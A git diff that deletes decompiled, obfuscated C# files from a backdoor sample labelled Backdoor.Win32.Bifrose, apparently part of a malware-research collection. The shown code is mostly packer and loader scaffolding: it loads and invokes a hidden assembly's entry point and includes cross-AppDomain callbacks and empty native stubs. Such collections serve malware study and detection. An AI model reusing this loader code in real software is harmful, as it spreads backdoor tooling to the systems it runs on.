num2 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num2 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - goto label_18; - if (num2 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num2); - } - } - } - else - \u0081ê.\u0081\u0099 = entryAssembly; -label_18: - Assembly assembly = (Assembly) null; - switch (this.Þ & 805306368) - { - case 536870912: - assembly = this.\u0089(); - break; - case 805306368: - assembly = this.\u00F7(); - break; - } - if ((object) assembly == null) - return; - MethodInfo entryPoint = assembly.EntryPoint; - if ((object) entryPoint == null) - return; - object[] parameters = new object[0]; - if (entryPoint.GetParameters().Length != 0) - { - string[] commandLineArgs = Environment.GetCommandLineArgs(); - string[] destinationArray = new string[commandLineArgs.Length - 1]; - int length = destinationArray.Length; - if (length != 0) - Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length); - parameters = new object[1] - { - (object) destinationArray - }; - } - object obj = entryPoint.Invoke((object) null, parameters); - if (obj == null) - return; - try - { - Marshal.WriteInt32(this.á, Convert.ToInt32(obj)); - } - catch (Exception ex3) when ( - { - // ISSUE: unable to correctly present filter - exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num3 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex4) when ( - { - // ISSUE: unable to correctly present filter - num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num3 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - return; - if (num3 == 0U) - return; - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num3); - } - } - } - - public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name); - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Þ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Þ.cs deleted file mode 100644 index a75f3f19..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081Þ.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.Þ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using \u0081é; -using \u0082\u00BC; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; - -namespace \u0081é -{ - [Serializable] - internal class \u0081Þ - { - private IntPtr þ; - private int \u0092; - [NonSerialized] - private AppDomain ú; - - public \u0081Þ(AppDomain domain, int domainId) - { - this.\u0092 = domainId; - this.ú = domain; - this.þ = IntPtr.Zero; - } - - public void \u0081ý() - { - if (this.ú == null) - return; - try - { - for (int index = 0; index < 10; ++index) - { - try - { - string friendlyName = this.ú.FriendlyName; - Thread.Sleep(50); - } - catch (AppDomainUnloadedException ex) - { - break; - } - } - } - finally - { - \u0082\u00BB.\u0095(this.\u0092); - } - } - - public static AppDomain \u0081\u008D() - { - MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic); - return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain; - } - - public void \u009C() - { - Marshal.GetObjectForIUnknown(this.þ); - Marshal.Release(this.þ); - this.þ = IntPtr.Zero; - new Thread(new ThreadStart(this.\u0081ý)).Start(); - } - - public void \u0081\u0084(object _param1, EventArgs _param2) - { - AppDomain appDomain = \u0081Þ.\u0081\u008D(); - if (appDomain == null) - return; - CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C); - this.þ = Marshal.GetIUnknownForObject((object) this.ú); - this.ú = (AppDomain) null; - appDomain.DoCallBack(callBackDelegate); - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081ê.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081ê.cs deleted file mode 100644 index 798cf7d0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0081é/_0081ê.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.ê -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using System.Reflection; - -namespace \u0081é -{ - internal class \u0081ê - { - internal static Assembly \u0081\u0099 = (Assembly) null; - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1_0081î.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1_0081î.cs deleted file mode 100644 index 0c7482ac..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1_0081î.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.î -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct \u0081î - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1Ä.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1Ä.cs deleted file mode 100644 index 70aec101..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/1Ä.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ä -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 28)] - internal struct Ä - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081$.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081$.cs deleted file mode 100644 index 489635f0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081$.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.$ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 216)] - internal struct \u0081\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0081ö - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0080.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0080.cs deleted file mode 100644 index 4df3f7b7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0080.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.€ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u0080 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0083.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0083.cs deleted file mode 100644 index d82a3de9..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0083.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ƒ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0083 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0088.cs deleted file mode 100644 index c115e817..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0088.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_008B.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_008B.cs deleted file mode 100644 index dd8b56aa..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_008B.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‹ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u008B - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0090.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0090.cs deleted file mode 100644 index d013a197..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0090.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼. -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0090 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0093.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0093.cs deleted file mode 100644 index 400bc59e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0093.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.“ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0093 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0097.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0097.cs deleted file mode 100644 index 5cee5191..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_0097.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.— -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081\u0097 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_009C.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_009C.cs deleted file mode 100644 index 31474dfd..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081_009C.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.œ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0081\u009C - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081 .cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081 .cs deleted file mode 100644 index 7f31f685..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081 .cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.  -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u00A0 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081§.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081§.cs deleted file mode 100644 index 6f6357b7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081§.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.§ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u00A7 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081«.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081«.cs deleted file mode 100644 index cb555c55..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081«.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.« -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u00AB - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081³.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081³.cs deleted file mode 100644 index d81828ba..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081³.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.³ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u00B3 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081¹.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081¹.cs deleted file mode 100644 index 689c40a9..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081¹.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.¹ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081\u00B9 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Â.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Â.cs deleted file mode 100644 index 84ad1302..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Â.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Â -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ç.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ç.cs deleted file mode 100644 index c46944a8..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ç.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ç -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081Ç - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Î.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Î.cs deleted file mode 100644 index 4113c7c7..00000000 --- 